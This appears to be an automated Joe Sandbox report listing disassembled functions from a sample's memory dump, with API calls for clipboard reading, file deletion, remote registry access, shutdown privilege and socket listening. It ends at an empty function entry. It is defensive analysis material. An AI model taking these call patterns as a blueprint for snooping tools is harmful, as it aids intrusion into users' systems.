Opcode Fuzzy Hash: e6f0eaa5bbe074c014d793f987a814c31851f8a176affe1edf5be8c4e1a0681e
Instruction Fuzzy Hash: 3B716E7590120AABDF10DFE4EC88FEEBBB8FF15300F144525E918A6191D7B1A995CFA0

Function 0022EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0024CC08), ref: 0022EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0022EB37
GetClipboardData.USER32(0000000D), ref: 0022EB43
CloseClipboard.USER32 ref: 0022EB4F
GlobalLock.KERNEL32(00000000), ref: 0022EB87
CloseClipboard.USER32 ref: 0022EB91
GlobalUnlock.KERNEL32(00000000), ref: 0022EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0022EBC9
GetClipboardData.USER32(00000001), ref: 0022EBD1
GlobalLock.KERNEL32(00000000), ref: 0022EBE2
GlobalUnlock.KERNEL32(00000000), ref: 0022EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0022EC38
GetClipboardData.USER32(0000000F), ref: 0022EC44
GlobalLock.KERNEL32(00000000), ref: 0022EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0022EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0022EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0022ECD2
GlobalUnlock.KERNEL32(00000000), ref: 0022ECF3
CountClipboardFormats.USER32 ref: 0022ED14
CloseClipboard.USER32 ref: 0022ED59

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: 2189c6229ec3d0694aebeefe6d37acf32b0488bd92eb669994cc87f999ba99b7
Instruction ID: e0bbda2af4872a566c6f88bf0ce52bad1a2fd8ce0145d53f2c35ffc39a6874bf
Opcode Fuzzy Hash: 2189c6229ec3d0694aebeefe6d37acf32b0488bd92eb669994cc87f999ba99b7
Instruction Fuzzy Hash: F961F374204302AFD700EFA4E888F6A77E8BF95714F25451DF8568B2A1CB71DD05DB62

Function 0022698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 002269BE
FindClose.KERNEL32(00000000), ref: 00226A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00226A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00226A75

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00226AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00226ADF

Strings

%4d, xrefs: 00226BB1
%03d, xrefs: 00226DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00226B32
%4d%02d%02d%02d%02d%02d, xrefs: 00226B6A
%02d, xrefs: 00226C00, 00226C0A, 00226C5A, 00226CAA, 00226CFA, 00226D4A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: c34d9ae63c96e0ee3974e6a612fb898d6f5183cf3239015c505b86a8038c04db
Instruction ID: 3824a7cc77cc8bd7a1f33c5a6362651ba23fbe5ebc7ce2f055a43467f87641b9
Opcode Fuzzy Hash: c34d9ae63c96e0ee3974e6a612fb898d6f5183cf3239015c505b86a8038c04db
Instruction Fuzzy Hash: B5D16F72508300AFC310EFA4D895EABB7ECAFA9704F04491DF589D7191EB74DA05CBA2

Function 00229642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00229663
GetFileAttributesW.KERNEL32(?), ref: 002296A1
SetFileAttributesW.KERNEL32(?,?), ref: 002296BB
FindNextFileW.KERNEL32(00000000,?), ref: 002296D3
FindClose.KERNEL32(00000000), ref: 002296DE
FindFirstFileW.KERNEL32(*.*,?), ref: 002296FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0022974A
SetCurrentDirectoryW.KERNEL32(00276B7C), ref: 00229768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00229772
FindClose.KERNEL32(00000000), ref: 0022977F
FindClose.KERNEL32(00000000), ref: 0022978F

Strings

*.*, xrefs: 002296F5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 773b1ea3c2575463629be2ba08236de943e7a7d154d4f82cca21837d1cac11b6
Instruction ID: bc3d3c0afa0b2f7fbadb1c6ad14a1426d42be9279f23ef59d7f7a0fe2bbaddec
Opcode Fuzzy Hash: 773b1ea3c2575463629be2ba08236de943e7a7d154d4f82cca21837d1cac11b6
Instruction Fuzzy Hash: 1F31C27651162A7ADB14EFF9FC4CAEE77ACAF0A320F204156F905E2190DB70D9948E14

Function 0022979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 002297BE
FindNextFileW.KERNEL32(00000000,?), ref: 00229819
FindClose.KERNEL32(00000000), ref: 00229824
FindFirstFileW.KERNEL32(*.*,?), ref: 00229840
SetCurrentDirectoryW.KERNEL32(?), ref: 00229890
SetCurrentDirectoryW.KERNEL32(00276B7C), ref: 002298AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 002298B8
FindClose.KERNEL32(00000000), ref: 002298C5
FindClose.KERNEL32(00000000), ref: 002298D5

Part of subcall function 0021DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0021DB00

Strings

*.*, xrefs: 0022983B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: f2402521436e47749ef2730c75b64e3a2ee4fa112c4808cc55ac797da9061ef8
Instruction ID: b68fa00ae8c44da24748bead062f2ab07b842e55705e5f3438c48cf0497edbb5
Opcode Fuzzy Hash: f2402521436e47749ef2730c75b64e3a2ee4fa112c4808cc55ac797da9061ef8
Instruction Fuzzy Hash: E531C53151162A7ADB14EFF8FC48ADE77ACAF07320F244156E914E2191DB70D9A4CE25

Function 0023BE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0023C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0023B6AE,?,?), ref: 0023C9B5
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023C9F1
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA68
Part of subcall function 0023C998: _wcslen.LIBCMT ref: 0023CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0023BF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 0023BFA9
RegCloseKey.ADVAPI32(00000000), ref: 0023BFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0023C02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0023C0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0023C154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0023C1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0023C23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0023C2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0023C382
RegCloseKey.ADVAPI32(00000000), ref: 0023C38F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: f91bab2a9217fc9c5cffaa7a52b770096b4362891b3860bf40f764f0cdca7df1
Instruction ID: 2ca067dd67c34e6db8f26ea6186798a4066f2cacf4e7f94d93ffdcb42275136a
Opcode Fuzzy Hash: f91bab2a9217fc9c5cffaa7a52b770096b4362891b3860bf40f764f0cdca7df1
Instruction Fuzzy Hash: 24026EB16142019FC714DF28C895E2ABBE5EF89318F18C49DF84ADB2A2DB31EC55CB51

Function 00228195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00228257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00228267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00228273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00228310
SetCurrentDirectoryW.KERNEL32(?), ref: 00228324
SetCurrentDirectoryW.KERNEL32(?), ref: 00228356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0022838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00228395

Strings

*.*, xrefs: 0022839B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 3527369136826d2d00686609ebc84787066998db3b5fd40be25c3bab8afc3f11
Instruction ID: 2f8b63d12814e224600d374dac91590a0c217b587251bdaf59da59d1e634ba72
Opcode Fuzzy Hash: 3527369136826d2d00686609ebc84787066998db3b5fd40be25c3bab8afc3f11
Instruction Fuzzy Hash: 1261BC72118315AFCB10EF64E8409AEB3E8FF99310F04895EF989C3251DB31E955CB92

Function 0021D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001B3A97,?,?,001B2E7F,?,?,?,00000000), ref: 001B3AC2

Part of subcall function 0021E199: GetFileAttributesW.KERNEL32(?,0021CF95), ref: 0021E19A

FindFirstFileW.KERNEL32(?,?), ref: 0021D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0021D1DD
MoveFileW.KERNEL32(?,?), ref: 0021D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0021D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0021D237

Part of subcall function 0021D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0021D21C,?,?), ref: 0021D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0021D253
FindClose.KERNEL32(00000000), ref: 0021D264

Strings

\*.*, xrefs: 0021D0CD, 0021D0D6, 0021D0EB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 834543799e473f75e35fd170f303579879d12a463f043014f6710d8b158e9cf1
Instruction ID: 374c167c8860f4845111ff97e94fd0fd6f5884fc652e24cc0fafe9bb0d6231b4
Opcode Fuzzy Hash: 834543799e473f75e35fd170f303579879d12a463f043014f6710d8b158e9cf1
Instruction Fuzzy Hash: 34617C3180110EEBCF05EFE4D9929EDB7B5AF25300F604165E81677192EB30AF5ADB60

Function 0022ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0022ED91
EmptyClipboard.USER32 ref: 0022ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0022EDAC
CloseClipboard.USER32 ref: 0022EEA3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 96c12bda4b17ac3af7149cfdf046cadbc3ace72f31943c28e8dae33725021cbe
Instruction ID: a9b99961842db41c942a7321178cc629e2d2c003fc444e35bc86d95ff76ee093
Opcode Fuzzy Hash: 96c12bda4b17ac3af7149cfdf046cadbc3ace72f31943c28e8dae33725021cbe
Instruction Fuzzy Hash: 2141E135215221AFD720CF59F848B19BBE4FF45328F16C099E4158B762C775EC41CB90

Function 0021E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 002116C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0021170D
Part of subcall function 002116C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0021173A
Part of subcall function 002116C3: GetLastError.KERNEL32 ref: 0021174A

ExitWindowsEx.USER32(?,00000000), ref: 0021E932

Strings

@, xrefs: 0021E925
, xrefs: 0021E920
, xrefs: 0021E95C
SeShutdownPrivilege, xrefs: 0021E902

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: b56364becea237a0308422bff838197fc64d3c2fa45dabc51d529e9da352f6b7
Instruction ID: 07747b7aa39b2661c55f95a2ede18c1c29a5aea719dec0b71a9f10391eb4084f
Opcode Fuzzy Hash: b56364becea237a0308422bff838197fc64d3c2fa45dabc51d529e9da352f6b7
Instruction Fuzzy Hash: 3801DB76630311ABEF546678AC8ABFF72DC9B28750F164422FD03E21D1D5A55CE085E4

Function 00231204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00231276
WSAGetLastError.WSOCK32 ref: 00231283
bind.WSOCK32(00000000,?,00000010), ref: 002312BA
WSAGetLastError.WSOCK32 ref: 002312C5
closesocket.WSOCK32(00000000), ref: 002312F4
listen.WSOCK32(00000000,00000005), ref: 00231303
WSAGetLastError.WSOCK32 ref: 0023130D
closesocket.WSOCK32(00000000), ref: 0023133C

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 0df364c223b168432a500359ed375b28da12e3dbe3c231bd8012a6f844b1c78d
Instruction ID: 19db37bcc55df8ad7c1f64b6c759e98f427fc83dd3f62d1ed69c011e480544c8
Opcode Fuzzy Hash: 0df364c223b168432a500359ed375b28da12e3dbe3c231bd8012a6f844b1c78d
Instruction Fuzzy Hash: 9F41B275A001119FD710DF28D488B6ABBE5BF86318F288188E8568F3D6C771ED91CBE1

Function 0021D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001B3A97,?,?,001B2E7F,?,?,?,00000000), ref: 001B3AC2

Part of subcall function 0021E199: GetFileAttributesW.KERNEL32(?,0021CF95), ref: 0021E19A

FindFirstFileW.KERNEL32(?,?), ref: 0021D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0021D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0021D481
FindClose.KERNEL32(00000000), ref: 0021D498
FindClose.KERNEL32(00000000), ref: 0021D4A1

Strings

\*.*, xrefs: 0021D3F2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 5c16be84ac7f63a1a2c5c2e890d8fbfe8d90b8f8fe0cbcacfe46750cff66cc3d
Instruction ID: a4b72ee8e805bd251624d8bcfe5d292b11227f1a4c21da3d9ffa6053a04ff832
Opcode Fuzzy Hash: 5c16be84ac7f63a1a2c5c2e890d8fbfe8d90b8f8fe0cbcacfe46750cff66cc3d
Instruction Fuzzy Hash: 5C31A031019345ABC300EF64D8958EFB7E8BEB2314F944A1DF4D593191EB70AA19DB63

Function 0022648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 002264DC
CoInitialize.OLE32(00000000), ref: 00226639
CoCreateInstance.OLE32(0024FCF8,00000000,00000001,0024FB68,?), ref: 00226650
CoUninitialize.OLE32 ref: 002268D4

Strings

.lnk, xrefs: 002264BA, 00226524, 002265E0

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: caa6e9eb9df911e0f7087b595731a116d641af4eabd9ed5adb814ce867574332
Instruction ID: dce6f9c03aa862136f0016503791f2de1fdbc3b7d834bfa0ac7692bef361641c
Opcode Fuzzy Hash: caa6e9eb9df911e0f7087b595731a116d641af4eabd9ed5adb814ce867574332
Instruction Fuzzy Hash: E5D16A71518211AFC304EF64D881DABB7E8FFA9304F50496DF5958B2A1EB30ED05CBA2

Function 002322DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 002322E8

Part of subcall function 0022E4EC: GetWindowRect.USER32(?,?), ref: 0022E504

GetDesktopWindow.USER32 ref: 00232312
GetWindowRect.USER32(00000000), ref: 00232319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00232355
GetCursorPos.USER32(?), ref: 00232381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 002323DF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: ad7d014d1000e858b57c67eedf5ac849c7a334a67af8fef8a0ae78557975fb68
Instruction ID: 2bc80b506796012cfa6acde67457831d78537f6e2fe99f7565f3dab4ecf773c4
Opcode Fuzzy Hash: ad7d014d1000e858b57c67eedf5ac849c7a334a67af8fef8a0ae78557975fb68
Instruction Fuzzy Hash: FE3100B2515316AFDB20DF18DC49B9BBBE9FF85310F100919F985A7181DB34EA18CB92

Function 00229B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00229B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00229C8B

Part of subcall function 00223874: GetInputState.USER32 ref: 002238CB
Part of subcall function 00223874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00223966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00229BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00229C75

Strings

*.*, xrefs: 00229B5D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 20b3c3cf0814c3075bf5c294532ab17609b26e96406f49ce24ddf34ada88beae
Instruction ID: f5974b8fb8d353c311c416045d1f7002ff0137703bbeea8d6124506e908df8d2
Opcode Fuzzy Hash: 20b3c3cf0814c3075bf5c294532ab17609b26e96406f49ce24ddf34ada88beae
Instruction Fuzzy Hash: 0E41A47191021AAFDF54DFA4D889AEE7BF4FF19310F20405AE805A3191EB309E94CF60

Function 001C997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

